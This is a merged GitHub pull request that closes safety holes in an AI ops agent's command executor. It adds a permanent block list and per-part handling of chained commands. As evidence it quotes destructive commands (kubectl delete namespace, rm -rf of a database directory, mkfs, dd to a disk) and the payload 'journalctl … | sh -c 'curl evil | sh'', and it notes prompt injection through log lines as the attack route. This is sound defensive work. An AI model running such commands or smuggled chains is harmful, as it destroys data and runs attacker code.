Skip to content

fix(security): permanently block destructive commands; AUTO_APPLY no longer bypasses approval - #186

Merged
OkiriGabriel merged 2 commits into
mainfrom
fix/executor-safety-bypass
Nov 24, 2026
Merged

OkiriGabriel merged 2 commits into
mainfrom
fix/executor-safety-bypass

Conversation

@OkiriGabriel

Copy link
Copy Markdown
Collaborator

⚠️ Security fix: please review first

Found while working on #19 (orphaned modules). SafeExecutor.run_safe, used by run_kubectl and run_shell_command, had three holes. All reproduced against main with execution stubbed out, so nothing actually ran:

# Hole Proof on main
1 ALWAYS_REQUIRE_APPROVAL was only enforced when AUTO_APPLY=false With AUTO_APPLY=true: kubectl delete namespace prod, rm -rf /var/lib/postgresql, mkfs.ext4 /dev/sda1, shutdown -h now and dd if=/dev/zero of=/dev/sda were all EXECUTED
2 "Safe" was a substring match, and commands run through a shell With AUTO_APPLY=false: journalctl -n 5 | sh -c 'curl evil | sh' was EXECUTED. Any command starting with a safe word could chain anything without a listed keyword (uptime; curl … | bash)
3 Nothing was permanently blocked, although README, SECURITY_GUARANTEES.md and the website promise the agent never deletes data The intended block list only existed in the unused tools/safe_executor_enhanced.py (#19)

Combined with prompt injection (which #178 detects but can't guarantee to catch), holes 1 and 2 were the most direct path from a malicious log line to a destroyed cluster.

Fix (tools/executor.py)

  • NEVER_ALLOWED: tight, bounded regexes for kubectl delete/drain, helm uninstall, recursive or root rm, mkfs/wipefs, dd of=/dev/… and redirects to block devices, DROP DATABASE/TABLE, TRUNCATE TABLE, DELETE FROM, AWS/GCP/Azure delete/terminate, terraform destroy / apply -destroy, --replicas=0, Docker volume/system prune.
    • Never run: not via run_safe, and not via run() (approved/internal calls), as defence in depth.
    • The team gets an email via the existing send_dangerous_operation_alert (best effort: an SMTP failure still blocks). The result has no approval_payload, so it can't be approved in Slack.
    • Patterns require whitespace or end-of-string after the verb, so a pod named delete-me or a label like app=delete-worker doesn't match.
    • Single-file rm -f -- /var/log/x.1.gz, which disk cleanup uses for rotated logs after its own path checks, is not blocked.
  • requires_approval always requires approval. AUTO_APPLY=true only auto-runs the ALLOWED_WITH_AUTO_APPLY list (restarts, reloads, apply, scale).
  • Chaining: commands split on ;, &&, || and newlines are classified per part, and the most restrictive wins. After a |, only read-only filters (grep, head, tail, wc, sort, uniq, cut, jq, …) keep it safe. `, $(, < and > always need approval.

⚠️ Behaviour changes

  • With AUTO_APPLY=true, commands not on the safe or auto-apply lists (e.g. python3 script.py, rm -f file, reboot) now wait for approval. That's what the list name and docs always said.
  • kubectl delete, rm -rf, dd, mkfs and the rest are now blocked, not "approvable". If one is truly needed, a human runs it manually.

Testing

  • New tests/test_executor_safety.py (79 tests):
    • 26 destructive commands blocked
    • 10 look-alikes not blocked (delete-me-pod, app=delete-worker, --replicas=3/10, single-file rm -f, journalctl --vacuum, terraform plan, …)
    • destructive commands never execute with AUTO_APPLY on or off; the block also applies to run(); email sent, and an SMTP failure still blocks
    • approval is required even with AUTO_APPLY=true; allowed commands still auto-run
    • 8 chaining and smuggling payloads need approval; read-only pipelines stay safe; the most restrictive part wins
  • Three existing tests asserted the old "requires approval" result for kubectl delete/rm -rf/dd/mkfs; updated to blocked.
  • Full suite: 1278 passed. Flake8 critical: 0. Bandit -ll clean.
  • SECURITY_GUARANTEES.md now states exactly what is blocked, what always needs approval, and how chaining is handled.

Refs #19. The follow-up PR integrates or removes the rest of the orphaned modules.

🤖 Generated with Claude Code

…longer bypasses approval

SafeExecutor.run_safe had three holes (found while working on #19):

1. "ALWAYS_REQUIRE_APPROVAL" was only enforced when AUTO_APPLY=false.
   With AUTO_APPLY=true, `kubectl delete namespace prod`, `rm -rf` of a
   database directory, `mkfs`, `dd` to a disk and `shutdown` executed.
2. "Safe" was a substring match and commands run through a shell, so a
   safe prefix carried anything chained after it:
   `journalctl -n 5 | sh -c 'curl evil | sh'` ran with AUTO_APPLY=false.
3. Nothing was permanently blocked, although the docs and website
   promise the agent never deletes data. The intended block list only
   existed in the unused tools/safe_executor_enhanced.py.

Now:
- NEVER_ALLOWED (tight, bounded regexes): kubectl delete/drain, helm
  uninstall, recursive or root rm, mkfs/wipefs, raw dd or redirects to
  block devices, destructive SQL, cloud delete/terminate, terraform
  destroy, scale to zero, docker volume/system prune. These never run,
  not even via run() on an approved/internal call, and email the team
  (send_dangerous_operation_alert, best effort).
- requires_approval always requires approval; AUTO_APPLY only covers the
  "allowed" list.
- Chained commands are classified per part (most restrictive wins);
  after a pipe only read-only filters stay safe; command substitution
  and redirection need approval.
- Single-file `rm -f` (disk cleanup's rotated logs) is not blocked.

Refs #19

Co-Authored-By: Claude Opus 5.5 <[email protected]>
@OkiriGabriel
OkiriGabriel merged commit fc9b3fb into main Nov 24, 2026
16 checks passed
OkiriGabriel added a commit that referenced this pull request Nov 24, 2026
- ServerCollector detects the TARGET host's OS over the existing SSH/local
  path (uname + /etc/os-release, ver for Windows) and adds RHEL (SELinux,
  firewalld, security updates), Debian (upgrades, reboot-required, AppArmor)
  and Windows Server (CIM, Get-WinEvent, services, firewall, IIS) checks.
  Result gains an os_family key. Replaces collectors/server_enhanced.py,
  which detected the agent's own OS and never used SSH.
- Remove tools/safe_executor_enhanced.py: never imported; the never-delete
  blocklist and email alert live in tools/executor.py (#186).
- documentation_generator renders postmortem/runbook/KB markdown in memory
  from the real run; the API stores them with the incident's logs
  (PII-scrubbed, same retention) behind AUTO_DOCUMENTATION (default true).
  Code-review runs are skipped; documents are never written to org docs.
- Update README and docs that referenced the removed files.

Fixes #19

Co-authored-by: Claude Opus 5.5 <[email protected]>
@OkiriGabriel
OkiriGabriel deleted the fix/executor-safety-bypass branch November 26, 2026 10:13
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Labels

None yet

Projects

None yet

Development

Successfully merging this pull request may close these issues.

1 participant